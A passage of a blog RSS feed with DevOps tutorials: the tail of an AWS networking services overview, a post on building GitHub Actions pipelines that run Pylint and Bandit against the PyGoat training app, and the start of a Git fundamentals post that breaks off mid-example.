failover.</li><li>Serving internal DNS inside a VPC.</li></ul><h4>3. AWS CloudFront</h4><p><strong>CloudFront</strong> is AWS’s content delivery network (CDN), designed to cache and serve static or dynamic content globally with low latency and high transfer speeds.</p><p><strong>Architecture</strong>:</p><ul><li>Uses a network of edge locations (PoPs) across the globe.</li><li>Caches content from S3 buckets, ALBs, EC2, or external origins.</li><li>Integrates with Lambda@Edge for request/response modification at edge locations.</li></ul><p><strong>Security</strong>:</p><ul><li>Supports HTTPS, TLS policies, and Origin Access Control (OAC) for private S3 buckets.</li><li>DDoS protection and WAF integration for application-layer filtering.</li><li>Signed URLs and cookies for content access control.</li></ul><p><strong>Use Cases</strong>:</p><ul><li>Accelerating static website delivery.</li><li>Serving APIs with low-latency access across regions.</li><li>Protecting web apps with edge-level security.</li></ul><h4>4. AWS API Gateway</h4><p><strong>API Gateway</strong> is a fully managed service for creating, publishing, monitoring, and securing RESTful and WebSocket APIs at scale.</p><p><strong>Architecture &amp; Features</strong>:</p><ul><li>Supports REST and WebSocket APIs with throttling and quota management.</li><li>Request/response transformation, mapping templates, and validation.</li><li>Caching, logging (via CloudWatch), and metrics out-of-the-box.</li><li>Native integration with Lambda, VPC endpoints, Step Functions, and IAM.</li></ul><p><strong>Security</strong>:</p><ul><li>IAM, Cognito, and custom authorizers (Lambda) for authentication.</li><li>WAF integration for protection against OWASP Top 10.</li><li>Resource policies for IP whitelisting and cross-account access.</li></ul><p><strong>Use Cases</strong>:</p><ul><li>Frontend layer for microservices (Lambda or ECS backends).</li><li>WebSocket-based real-time communication (e.g., chat apps).</li><li>Centralized API versioning and rate-limiting layer.</li></ul><h4>5. AWS Global Accelerator</h4><p><strong>Global Accelerator</strong> improves performance and availability of global applications by routing traffic through the AWS global network instead of the public internet.</p><p><strong>How it works</strong>:</p><ul><li>Provides two static IP addresses as fixed entry points.</li><li>Routes traffic to optimal endpoints (ALBs, NLBs, EC2, etc.) using Anycast.</li><li>Health checks + automatic failover at the edge.</li></ul><p><strong>Use Cases</strong>:</p><ul><li>Low-latency access for globally distributed users.</li><li>Bypassing flaky ISP routes.</li><li>Enabling multi-region active-active deployments.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j6277tQwZtx7l99dlSwt1Q.png" /></figure><p>To sum up, understanding the core AWS services is essential to designing scalable, reliable, and secure architectures in the cloud. With the right foundations in place, you’re better prepared to build systems that perform at scale and evolve with your needs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4855986c94dc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Continuous Integration with GitHub Actions]]></title>
            <link>https://medium.com/@L1lith/continuous-integration-with-github-actions-c13628216ede?source=rss-afc36996bc63------2</link>
            <guid isPermaLink="false">https://medium.com/p/c13628216ede</guid>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[pylint]]></category>
            <category><![CDATA[bandit]]></category>
            <category><![CDATA[github-actions]]></category>
            <dc:creator><![CDATA[L1lith]]></dc:creator>
            <pubDate>Tue, 15 Jul 2025 07:58:03 GMT</pubDate>
            <atom:updated>2025-07-15T08:05:59.332Z</atom:updated>
            <content:encoded><![CDATA[<p>Software development today is not only about writing code, but about <strong>delivering it quickly, securely, and reliably</strong>. As development cycles accelerate, manual tasks become bottlenecks, and the cost of human error increases. Teams need ways to automate everything that happens between a commit and a deployment, and ensure that these steps are repeatable, traceable, and secure.</p><p><strong>GitHub Actions</strong> was introduced to make this automation process native to the platform where developers already collaborate and manage their code. <strong>Instead of relying on external CI/CD tools, GitHub Actions brings the pipeline into the repository itself.</strong></p><p>The idea is simple: <strong>if code lives in GitHub, then automation should live there too.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/0*BybG91AGewDowAGH.png" /></figure><p>From a DevOps perspective, GitHub Actions allows you to continuously build, test, and deliver software by defining pipelines that respond to repository events. From a DevSecOps perspective, it becomes the foundation for enforcing security controls at every stage of development, without slowing down delivery.</p><p>Before GitHub Actions, integrating CI/CD or security workflows often meant adding third-party tools, configuring webhooks, or managing separate infrastructure. GitHub Actions removes that fragmentation. It provides a unified system where automation, collaboration, and version control are all handled in one place, and everything is tracked as code, inside the repository.</p><h3>The Core Components of GitHub Actions</h3><p>A GitHub Actions pipeline is defined as a <strong>workflow</strong>: a set of instructions that runs automatically in response to events in the repository. But to fully understand how this system works, and how to control it, you need to understand its internal structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/0*q_vSWjE6h6s0t-Cr" /></figure><h4><strong>Workflow</strong></h4><p>A <strong>workflow</strong> is the top-level definition of an automation process. It’s a YAML file stored inside the repository, under .github/workflows/.</p><p>It defines:</p><ul><li>What should trigger the automation</li><li>What needs to be executed</li><li>And under which conditions</li></ul><p>A project can have <strong>multiple workflows</strong>: for example, one for testing pull requests, another for deploying releases, and another for running security scans nightly.</p><p><strong>Why this matters:</strong><br> In DevSecOps, workflows give you control over <em>when</em> and <em>how</em> checks are enforced. They allow you to encode policy as code: no PR can be merged unless tests and security scans pass, because the workflow says so.</p><h4>Event</h4><p>An <strong>event</strong> is what triggers a workflow to run. It can be:</p><ul><li>A push to a branch</li><li>A pull_request being opened or updated</li><li>A scheduled time (like a cron job)</li><li>A manual trigger</li><li>Or a custom API call from outside GitHub</li></ul><p>Each event is a signal: <em>something just happened in the repo</em>. GitHub listens for those signals, then starts the corresponding workflows.</p><p><strong>Why this matters:</strong><br> Event-driven pipelines ensure that automation runs at the right time, without relying on humans to remember. Security scans on every push? Tests on every PR? Secret detection on every commit? All of this becomes automatic, consistent, and enforceable.</p><h4>Job</h4><p>A <strong>job</strong> is a set of steps executed on the same environment. Each job runs on its own <strong>runner</strong> (a virtual machine or container).</p><p>By default, jobs run in parallel, unless you explicitly set dependencies between them.</p><p>This allows you to separate tasks logically. For example:</p><ul><li>Job 1: install dependencies and run unit tests</li><li>Job 2: run static code analysis</li><li>Job 3: build and package the application</li><li>Job 4: deploy (only if Jobs 1–3 succeed)</li></ul><p><strong>Why this matters:<br></strong> Job isolation gives you flexibility and safety. A failure in one job won’t affect others, and you can clearly define which steps must succeed before anything is deployed or merged.</p><h4>Step</h4><p>A <strong>step</strong> is a single command or action that runs within a job. Steps execute sequentially in the same environment, and can share data between them (for example, by using files or environment variables).</p><p>Steps can be:</p><ul><li>Shell commands (e.g., pip install -r requirements.txt)</li><li>References to <strong>actions</strong> (see next section)</li></ul><p><strong>Why this matters</strong>:<br> Steps are where the actual logic lives. They’re where you define <em>how</em> to test, <em>how</em> to scan, <em>how</em> to deploy. If jobs are the structure, steps are the execution.</p><h4>Runner</h4><p>A <strong>runner</strong> is the machine where your job runs. GitHub provides hosted runners for Linux, Windows, and macOS. You can also host your own runners if you need custom configurations or tighter control over execution.</p><p>Each job gets a clean runner environment, which is destroyed after execution. This ensures reproducibility and isolation.</p><p><strong>Why this matters:</strong><br> Runners ensure that every execution is clean and consistent, a core requirement for reproducible builds and trustworthy scans. In security-sensitive contexts, using self-hosted runners can also help you restrict network access, control secrets, or comply with internal policies.</p><h4>Action</h4><p>An <strong>action</strong> is a reusable component that performs a specific task, such as:</p><ul><li>Checking out the code (actions/checkout)</li><li>Setting up Python (actions/setup-python)</li><li>Uploading artifacts</li><li>Running a scanner</li></ul><p><strong>Actions can be custom (written in Docker or JavaScript) or pulled from the GitHub Marketplace</strong>. You can also write your own, and reuse them across repositories.</p><p><strong>Why this matters</strong>:<br> Actions allow you to <strong>standardize best practices, reduce repetition, and enforce consistency across projects</strong>. In DevSecOps, this is a way to package internal security tooling, scanners, or policies into versioned, reusable units.</p><p>If the architecture of GitHub Actions looks familiar, it’s because it mirrors real software pipelines: events trigger workflows, jobs run in parallel, steps execute tasks, and actions provide reusable logic, all inside a clean, version-controlled system.</p><pre># .github/workflows/python-ci.yml<br><br># Name of the workflow (shows up in GitHub UI)<br>name: Python CI<br><br># Events that trigger the workflow<br>on:<br>  push:            # Trigger when code is pushed to any branch<br>    branches: [main]<br>  pull_request:    # Trigger when a pull request is opened or updated<br>    branches: [main]<br><br># Jobs to be run when the workflow is triggered<br>jobs:<br>  build-and-test:<br>    name: Build, Lint, and Test<br>    runs-on: ubuntu-latest   # GitHub provides a fresh Ubuntu VM for this job<br><br>    steps:<br>    # Step 1: Check out the code from the repo<br>    - name: Checkout code<br>      uses: actions/checkout@v4<br><br>    # Step 2: Set up a Python environment<br>    - name: Set up Python<br>      uses: actions/setup-python@v5<br>      with:<br>        python-version: &#39;3.11&#39;  # You can change this based on your needs<br><br>    # Step 3: Install dependencies<br>    - name: Install dependencies<br>      run: |<br>        python -m pip install --upgrade pip<br>        pip install -r requirements.txt<br>        pip install flake8 pytest  # Tools used for linting and testing<br><br>    # Step 4: Run linter<br>    - name: Lint with flake8<br>      run: |<br>        flake8 scanner.py<br><br>    # Step 5: Run tests (if you have any)<br>    - name: Run tests with pytest<br>      run: |<br>        pytest tests/    # assumes you have a tests/ directory with test_*.py files</pre><h3>Applying GitHub Actions to a Vulnerable App</h3><p>To move from theory to practice, I chose to work with <a href="https://github.com/adeyosemanputra/pygoat"><strong>PyGoat</strong></a>, an intentionally vulnerable Python web application. This makes it an ideal playground to experiment with GitHub Actions, apply static code analysis, and test DevSecOps principles in a real-world setup.</p><h4>Forking the Project</h4><p>I began by forking the repository <a href="https://github.com/nanuchi/devsecops-crash-course-pygoat">nanuchi/devsecops-crash-course-pygoat</a> to my own GitHub account. This version of PyGoat was specifically designed for a DevSecOps crash course, making it a solid starting point for integrating security tooling into the CI pipeline.</p><p>The repository already contained preconfigured GitHub Actions workflows. To ensure a clean environment and full control over the pipelines I would build, I deleted the existing workflows. This allowed me to reintroduce automation step by step, aligned with the tools and scenarios I wanted to test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AnnR5nIYU20DLStKqdiV2g.png" /></figure><h4>Integrating Static Code Analysis with Pylint</h4><p>Before diving into security-specific scans, it’s important to establish a base level of code quality. Poorly written or inconsistent code often hides deeper security issues and makes them harder to detect. That’s where <strong>Pylint</strong> comes in.</p><p><strong>What is Pylint?</strong></p><p>Pylint is a <strong>static code analysis tool</strong> for Python. It checks your code without running it and reports:</p><ul><li>Code style violations (e.g., naming conventions, indentation)</li><li>Programming errors (e.g., undefined variables, unreachable code)</li><li>Code smells (e.g., duplicate logic, long functions)</li><li>Basic bug risks and inconsistencies</li></ul><p>In a DevSecOps pipeline, running a linter like Pylint early helps enforce best practices and prevents low-quality or unreadable code from being merged.</p><p><strong>How to use Pylint locally?</strong></p><p>To install and run Pylint manually:</p><pre>pip install pylint<br>pylint your_script.py</pre><p>It gives a detailed report and a <strong>score out of 10</strong>. By default, a score below 5/10 is considered poor quality, and a failed CI build can be triggered based on this.</p><p><strong>Adding Pylint to GitHub Actions</strong></p><p>To automate this check for every code push, I used GitHub Actions to define a CI workflow that runs Pylint across the whole project.</p><p>From the GitHub Actions tab, I selected the <strong>“Pylint”</strong> starter template. It generated the following YAML file in .github/workflows/pylint.yml:</p><pre>name: Pylint<br><br>on: [push]  # Trigger the workflow on every push to the repository<br><br>jobs:<br>  build:<br>    runs-on: ubuntu-latest  # Use the latest Ubuntu runner<br><br>    strategy:<br>      matrix:<br>        python-version: [&quot;3.8&quot;, &quot;3.9&quot;, &quot;3.10&quot;]  # Run the workflow for multiple Python versions<br><br>    steps:<br>      - uses: actions/checkout@v4  # Checkout the repo code<br><br>      - name: Set up Python ${{ matrix.python-version }}<br>        uses: actions/setup-python@v3<br>        with:<br>          python-version: ${{ matrix.python-version }}<br><br>      - name: Install dependencies<br>        run: |<br>          python -m pip install --upgrade pip<br>          pip install pylint<br><br>      - name: Analyze the code with pylint<br>        run: |<br>          pylint $(git ls-files &#39;*.py&#39;)  # Run Pylint on all Python files in the repo</pre><p><strong>What Does this Workflow Actually Do?</strong></p><ol><li><strong>Trigger on push:</strong><br> The workflow is configured with on: [push], meaning <strong>every time you push code</strong> to the repository (whether it&#39;s a new feature, a fix, or even a README update), GitHub Actions automatically runs the entire pipeline.</li><li><strong>Job starts on a clean Ubuntu machine:</strong><br> GitHub provisions a new <strong>Ubuntu-based virtual environment</strong> (called a <strong>runner</strong>) from scratch for each job. This ensures a clean, isolated environment for every workflow execution, no cached files, no side effects from previous runs.</li><li><strong>Matrix strategy for Python versions:</strong><br> The matrix keyword is used to define multiple Python versions: 3.8, 3.9, and 3.10. This means the same job will run <strong>three times in parallel</strong>, once for each Python version. It helps ensure your code behaves consistently across environments, which is especially important for production-grade or long-lived projects.</li><li><strong>Steps inside each job:</strong></li></ol><ul><li><strong>actions/checkout@v4:</strong><br> This downloads your repository’s content onto the runner, so the rest of the steps can access your code.</li><li><strong>actions/setup-python@v3:</strong><br> This installs the specified Python version (from the matrix) and makes it available for the job. Each job uses a different version to ensure compatibility.</li><li><strong>Installing dependencies:</strong><br> We upgrade pip and install pylint, the tool that will analyze our Python code for style and potential bugs.</li><li><strong>Running Pylint:</strong><br> The final step uses this command:</li></ul><pre>pylint $(git ls-files &#39;*.py&#39;)</pre><ul><li>This finds <strong>all </strong><strong>.py files</strong> in the repository and runs pylint on them.</li></ul><p><strong>What Happens After a Commit?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lJqYd3JXZYiLT8hfplq_4w.png" /></figure><p>Once you push your changes, GitHub triggers the workflow as defined:</p><ul><li>You can <strong>track progress</strong> in the “Actions” tab.</li><li>For each Python version, you’ll see a separate run.</li><li>If pylint finds too many issues or scores the code poorly, the run will <strong>fail</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWchjMn4a3Yux8TyMjNFGw.png" /></figure><p>In this case, since PyGoat is intentionally vulnerable and not well-linted:</p><ul><li>The output showed a <strong>very low score: 1.86/10</strong>, which is a clear red flag.</li><li>The job exited with exit code 30, a special value returned by Pylint that indicates <strong>fatal linting errors or low-quality code</strong>.</li><li>GitHub Actions then marked the build as <strong>failed</strong> on the workflow.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eywJM0TP2tTAbg7Eq4A7dA.png" /></figure><p>Even though we expected the failure, this step proves that the pipeline is working as intended. It acts as a <strong>first layer of control</strong>, preventing bad-quality code from being merged without notice.</p><p>Such quality gates are used to:</p><ul><li><strong>Block pull requests</strong> that don’t meet code standards.</li><li><strong>Encourage developers</strong> to fix linting issues before merging.</li><li><strong>Create a habit of clean, readable, and consistent code</strong>, which ultimately reduces security risks.</li></ul><h4>Security Scanning with Bandit</h4><p>Once code quality checks are in place, the next step in a DevSecOps pipeline is to integrate <strong>security scanning</strong>. While Pylint catches code smells and programming issues, <strong>Bandit</strong> is purpose-built for identifying <strong>security vulnerabilities</strong> in Python applications.</p><p><strong>What Is Bandit?</strong></p><p>Bandit is a <strong>SAST</strong> tool (Static Application Security Testing) developed by the OpenStack Security Project. It scans Python source files and detects patterns that may lead to vulnerabilities such as:</p><ul><li>Use of weak cryptographic functions (like md5 or random)</li><li>Hardcoded passwords or secrets</li><li>Unsafe subprocess usage</li><li>SQL injections or insecure deserialization</li></ul><p>Bandit works <strong>without executing the code</strong>, which makes it ideal for early detection in CI pipelines.</p><p>You can try Bandit locally with:</p><pre>pip install bandit<br>bandit -r .</pre><p>The -r flag tells Bandit to recursively scan all Python files in the directory.</p><p><strong>Creating the Bandit GitHub Actions Workflow</strong></p><p>I deleted the previous Pylint workflow and created a new one: main.yml. This time, I wrote the configuration from scratch to better control the structure and extend it over time.</p><p>Here’s the full file:</p><pre>name: CI<br><br>on: [push]  # Trigger the workflow on every push<br><br>jobs:<br>  sast_scan:<br>    name: Run Bandit Scan<br>    runs-on: ubuntu-latest<br><br>    steps:<br>      - name: Checkout code<br>        uses: actions/checkout@v2<br><br>      - name: Set up Python<br>        uses: actions/setup-python@v5.6.0<br>        with:<br>          python-version: 3.8<br><br>      - name: Install Bandit <br>        run: pip install bandit <br><br>      - name: Run Bandit Scan<br>        run: bandit -r . -f json -o bandit-report.json<br><br>      - name: Upload Artifact<br>        uses: actions/upload-artifact@v4<br>        if: always()<br>        with:<br>          name: bandit-findings<br>          path: bandit-report.json</pre><p><strong>What This Workflow Does</strong></p><ol><li><strong>Triggered on push</strong> — just like before, this ensures that every commit is scanned for security flaws.</li><li><strong>Job runs on Ubuntu</strong> — clean environment for consistency and isolation.</li><li><strong>Code checkout</strong> — retrieves the repository content.</li><li><strong>Python environment setup</strong> — in this case, we only use Python 3.8.</li><li><strong>Bandit installation</strong> — we install Bandit using pip.</li><li><strong>Bandit scan</strong> — we run the scanner recursively on the project:</li></ol><pre>bandit -r . -f json -o bandit-report.json</pre><ul><li>-r . scans all Python files in the current directory.</li><li>-f json produces machine-readable output.</li><li>-o bandit-report.json writes the findings to a file.</li></ul><p><strong>7. Uploading the report</strong> — Once the Bandit scan finishes, it generates a report file in JSON format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pLpbaz6gMnIylp0Q5sMNwA.png" /></figure><p>The report, saved in JSON format, includes detailed metadata: issue types, severity, confidence levels, file locations, and recommendations. While it’s technically readable, it’s primarily designed for <strong>automated ingestion</strong> by tools such as <strong>DefectDojo</strong> or <strong>security dashboards</strong>, rather than manual analysis.</p><p>To avoid losing this report (since GitHub runners are ephemeral), we add a final step to <strong>upload the file as a CI artifact</strong>:</p><pre>- name: Upload Artifact<br>  uses: actions/upload-artifact@v4 #A built-in GitHub Action to persist files after a workflow finishes.<br>  if: always()<br>  with:<br>    name: bandit-findings #A label for the artifact (shown in the Actions tab)<br>    path: bandit-report.json #The path to the file we want to store.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VvCqnBvWtnHHt4tkE5i0AQ.png" /></figure><p><strong>Why We Needed</strong> if: always() ?</p><p>When Bandit finds critical issues, it exits with a non-zero code (just like Pylint). By default, <strong>GitHub Actions stops the job at the first failed step</strong>, meaning the Upload Artifact step would never run.</p><p>To ensure that the report is always saved we added:if: always()</p><p>This guarantees that the artifact upload step will <strong>run no matter what</strong>, making it possible to retrieve the results later.</p><p><strong>Bandit Scan Results</strong></p><p>Bandit scanned <strong>2,453 lines of code</strong>, and no files were skipped. The tool processed all .py files without issue, meaning the workflow setup is correct and fully operational.</p><p>Bandit reported a total of <strong>43 issues</strong>:</p><ul><li><strong>By severity</strong>:</li><li>Low: 27</li><li>Medium: 14</li><li>High: 2</li><li><strong>By confidence</strong> (how sure Bandit is about the issue being valid):</li><li>High: 25</li><li>Medium: 13</li><li>Low: 5</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WstLI-0-2s0Gs0hbMddJZg.png" /></figure><p>There are a <strong>few high-severity issues</strong>, but the bulk of them are low/medium-level security hygiene problems, things like outdated libraries, insecure function usage, or insufficient input validation.</p><h3>SAST Tools for Python — Cheat Sheet</h3><pre>Bandit<br>#Analyzes Python code for security issues like unsafe functions, weak cryptography, or code injection.<br><br>Pylint<br>#Linter for Python that checks for code quality issues, style violations, and some security concerns.<br><br>Flake8<br>#Extensible tool that checks for Python syntax errors, PEP8 violations, and basic code hygiene.<br><br>Semgrep<br>#Powerful rule-based SAST tool that detects complex security and logic bugs with customizable patterns.<br><br>Pyright<br>#Static type checker for Python; useful in securing code by catching type-based errors early.<br><br>Mypy<br>#Performs static type checking using type annotations; helpful for maintaining secure, predictable logic.<br><br>Safety<br>#Scans requirements.txt for dependencies with known vulnerabilities using a CVE database.<br><br>pip-audit<br>#Official tool from PyPA that checks installed packages for known security vulnerabilities (via Python Advisory DB).<br><br>SonarQube<br>#Multi-language static analysis tool that supports Python and integrates with pipelines to detect security issues, bugs, and code smells.<br><br>Checkov (for IaC)<br>#If you include Terraform or CloudFormation in your Python project, Checkov performs IaC SAST checks.<br><br>Gitleaks<br>#Scans for hardcoded secrets in your source code and Git history (even though it&#39;s not Python-specific, it’s often used alongside Python).</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c13628216ede" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting to Know Git]]></title>
            <link>https://medium.com/@L1lith/getting-to-know-git-6de248147d5c?source=rss-afc36996bc63------2</link>
            <guid isPermaLink="false">https://medium.com/p/6de248147d5c</guid>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[github]]></category>
            <dc:creator><![CDATA[L1lith]]></dc:creator>
            <pubDate>Sun, 13 Jul 2025 20:40:48 GMT</pubDate>
            <atom:updated>2025-07-13T20:40:48.403Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vNDbJ7swSktvtUZ6.jpeg" /></figure><p>GitHub is often seen as just a version control platform, a place to push code and track history. But in modern software engineering, especially in DevSecOps, it’s much more than that.</p><p>GitHub acts as the <strong>central nervous system</strong> of secure software delivery. It enables collaboration, automates workflows, and enforces security policies at every stage of development.</p><p>Every commit, pull request, and pipeline run is an opportunity to <strong>test</strong>, <strong>verify</strong>, and <strong>secure</strong> code. Through access control, signed commits, protected branches, and audit trails, GitHub becomes a critical tool for ensuring compliance and traceability, not just productivity.</p><p>To build scalable and secure systems today, a deep understanding of GitHub is not optional, it’s foundational.</p><h3>What Is Git?</h3><p><strong>Git</strong> is an open-source, <strong>distributed version control system (VCS)</strong> designed to track and manage changes in source code across time and across teams. Originally developed by Linus Torvalds in 2005, Git has since become the industry standard for managing codebases of all sizes, from solo developers to large-scale enterprise systems.</p><p>At its core, Git helps developers:</p><ul><li>Record and track changes made to code.</li><li>Collaborate efficiently without overwriting each other’s work.</li><li>Maintain a detailed, auditable history of a project.</li><li>Experiment with new features through branches, without disrupting production code.</li></ul><p>Git is the foundation of modern software development workflows, especially in CI/CD and DevSecOps environments where traceability, rollback capability, and automation are critical.</p><h4>Git Doesn’t Store Diffs — It Stores Snapshots</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/0*HVPVmGbmm_7AoBRk.png" /></figure><p>One of the key principles that sets Git apart from older version control systems (like Subversion or CVS) is <strong>how it stores data</strong>.</p><p>Instead of recording <em>differences</em> (or <em>deltas</em>) between files — which was the traditional approach — Git saves <strong>snapshots</strong> of the entire file structure at each commit.</p><p>Each commit represents:</p><ul><li>The full content of the project at a point in time,</li><li>A reference to the previous snapshot(s),</li><li>Metadata (author, message, timestamp),</li><li>A SHA-1 hash that uniquely identifies the commit.</li></ul><p>If a file hasn’t changed from one commit to the next, Git doesn’t duplicate it, it simply references the existing object. This makes Git both <strong>storage-efficient</strong> and <strong>fast</strong>.</p><h4>Git Objects: How Git Stores Everything</h4><p>Git doesn’t think in terms of files or folders the way a typical user does. Instead, it breaks everything down into a small number of fundamental building blocks: <strong>commits</strong>, <strong>trees</strong>, <strong>blobs</strong>, and <strong>tags</strong>. These are the core objects Git uses to model the history and structure of your project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/0*AYLOv7s41KHSdoY9" /><figcaption>Git objects and reference types, arrows showing what they can point to. <strong>Bold</strong> are objects.</figcaption></figure><p>Each object is stored in Git’s internal database (.git/objects/) and is identified by a unique SHA-1 hash — a 40-character string that serves both as an identifier and an integrity check. If even a single character in a file changes, its corresponding hash will be completely different.</p><p>Here’s what these objects actually do:</p><ul><li>A <strong>blob</strong> is the simplest one — it stores the raw content of a file. That’s it. No filename, no path, no metadata — just the contents.</li><li>A <strong>tree</strong> acts like a directory. It links filenames to blobs (files) or other trees (subdirectories), preserving the project’s structure.</li><li>A <strong>commit</strong> brings everything together. It records:</li></ul><blockquote><em>-A pointer to the root tree (which represents the project at that moment),</em></blockquote><blockquote><em>-Some metadata (author, message, timestamp),</em></blockquote><blockquote><em>-And a reference to one or more parent commits, allowing Git to build a history.</em></blockquote><ul><li>A <strong>tag</strong> is a human-readable label pointing to a specific commit. You often use it to mark a release (v1.0, v2.1-beta, etc.).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*2GxHYP45R6Y0xPp7.png" /></figure><p>Git treats all of these as immutable snapshots — once stored, they don’t change. But what does move are the <strong>references</strong>. References like <strong>branches</strong> and <strong>tags</strong> are pointers to commits. They live in .git/refs/ and update as your project evolves. When you create a new branch, you’re simply creating a pointer to a commit — not duplicating any files or objects.</p><p>This design — storing immutable content as objects, and managing history through movable references — is what allows Git to be fast, efficient, and safe to use in both small scripts and large-scale collaborative environments.</p><h4>SHA-1: Git’s Integrity Backbone</h4><p>Git uses <strong>SHA-1 hashes</strong> (Secure Hash Algorithm 1) to identify and verify every object it stores, whether it’s a file (blob), directory (tree), commit, or tag.</p><p>Each object in Git is:</p><ol><li><strong>Compressed and stored</strong> in the .git/objects directory.</li><li><strong>Named by its SHA-1 hash</strong>, computed from its content and type.</li><li><strong>Immutable, </strong>even a single character change creates a completely different hash.</li></ol><h4>Demo</h4><p>We are at commit <strong><em>620fd0d2fec213b8e212bc6ae36bd775cb963961</em></strong></p><ol><li>Now let’s <strong>modify the content</strong> and observe how Git reacts:</li></ol><pre>echo &quot;# Added a new comment&quot; &gt;&gt; scanner.py</pre><p>2. Stage and commit the change</p><pre>git add scanner.py<br>git commit -m &quot;Added a comment for integrity check&quot;</pre><p>3. Check the new commit hash</p><pre>git log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VChOcdJyGHawT73YoxM-FA.png" /></figure><p><strong>Result</strong>: Even a minor change like adding a single comment results in a completely new commit identified by a different SHA-1 hash. This illustrates how <strong>Git ensures integrity</strong> at its core: each commit captures the entire state of the project and generates a unique cryptographic hash based on its content, structure, and metadata. Any alteration, no matter how small, produces a new, verifiable fingerprint. This built-in mechanism makes it impossible to modify project history or files without Git detecting it, ensuring traceability, reliability, and trust in the development workflow.</p><h3>Git Workflows</h3><p>Now that we know how Git stores and manages data internally, the next step is understanding how to work with that data in a clean, reliable, and scalable way. That’s where <strong>workflows</strong> come in.</p><p>A Git workflow defines <strong>how contributors use branches, commit changes, and merge code, </strong>whether they’re working solo or as part of a team.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*Jhpy8Vl3riYp1aVF.png" /></figure><p>Git operates on three main layers, and understanding them is essential for grasping how commands like add, commit, push, and pull actually work.</p><p>1. <strong>Working Directory</strong>: This is the folder where your actual project files live — where you edit code, rename files, and run your application. It’s the “live” environment where changes are made.</p><blockquote><em>When you </em><em>git clone or </em><em>git init, your working directory is created or initialized.</em></blockquote><p>2. <strong>Staging Area (Index)</strong>: The staging area is a preparation zone. It holds a list of changes that you’ve marked for inclusion in the next commit. It’s like a checklist: only staged changes will go into the snapshot.</p><pre>git add scanner.py</pre><p>This tells Git: <em>“I’m ready to commit this file.”</em></p><p>You can inspect the staging area using:</p><pre>git status</pre><p>3. <strong>Local Repository (on your machine): </strong>Once you commit, Git creates a <strong>snapshot of the staged changes</strong> and stores it permanently in your local .git/ database. This snapshot is given a unique <strong>SHA-1 hash</strong> and linked to the previous one, forming your commit history.</p><pre>git commit -m &quot;Add authentication module&quot;</pre><p>Your changes are now safely stored locally, but no one else sees them yet.</p><p>4. <strong>Remote Repository (e.g., GitHub):</strong></p><p>This is the <strong>online copy of your Git project</strong>, often hosted on platforms like GitHub, GitLab, or Bitbucket. It’s where teams collaborate, raise pull requests, and trigger CI/CD workflows.</p><p>To share your local work with others, you <strong>push</strong> it to the remote repository:</p><pre>git push origin main</pre><p>To get changes from others, you <strong>pull</strong> them:</p><pre>git pull origin main</pre><p>So, here’s how the movement typically works:</p><pre>Working Directory  →  Staging Area  →  Local Repository  →  Remote Repository<br>     (edit)             (git add)         (git commit)         (git push)</pre><p>And in reverse, to get changes from others:</p><pre>Remote Repository  →  Local Repository  →  Working Directory<br>     (pull)                 (stored)               (merged)</pre><p><strong>DEMO</strong></p><p><strong>Step 1: Initialize a local repo and create a file</strong></p><pre>mkdir demo-git<br>cd demo-git<br>git init<br>echo &quot;First line&quot; &gt; file.txt</pre><p><strong>Step 2: Stage and commit your change</strong></p><pre>git add file.txt<br>git commit -m &quot;Initial commit with file.txt&quot;</pre><p><strong>Step 3: Create a new GitHub repository (e.g., </strong><strong>demo-git) and connect it</strong></p><pre>git remote add origin https://github.com/TaysirK/demo-git.git</pre><p><strong>Step 4: Push your local repository to GitHub</strong></p><pre>git push -u origin main</pre><p>Your code is now on GitHub.</p><p><strong>Step 5: Modify the file and repeat</strong></p><pre>echo &quot;Second line&quot; &gt;&gt; file.txt<br>git add file.txt<br>git commit -m &quot;Add second line&quot;<br>git push</pre><p>We’ve just completed the full cycle: <strong>working directory → staging → local repo → GitHub remote</strong>.</p><h3>Branching and Merging</h3><p>One of Git’s greatest strengths is how it handles <strong>branches</strong>. Branching lets you create <strong>isolated lines of development</strong> so you can work on features, bug fixes, or experiments, all without affecting the main codebase until you’re ready.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/0*PD-YaO5c2y13f_ZQ" /></figure><h4><strong>What Is a Branch?</strong></h4><p>A <strong>branch</strong> is simply a <strong>pointer to a commit, </strong>nothing more. It tells Git, “This is where development currently stands on this line of work.”</p><p>By default, Git creates a branch called main (or previously, master) when you initialize a repository. When you create a new branch, you’re just creating a new pointer to the current commit:</p><pre>git checkout -b feature/login</pre><p>This creates a new branch feature/login and switches you to it. From now on, any new commits will move that pointer forward, independently of main.</p><p><strong>Example:</strong></p><pre># Create a new branch from main<br>git checkout -b feature/api-auth<br><br># Make a change<br>echo &quot;Authentication logic&quot; &gt;&gt; auth.py<br><br># Stage and commit<br>git add auth.py<br>git commit -m &quot;Add basic auth 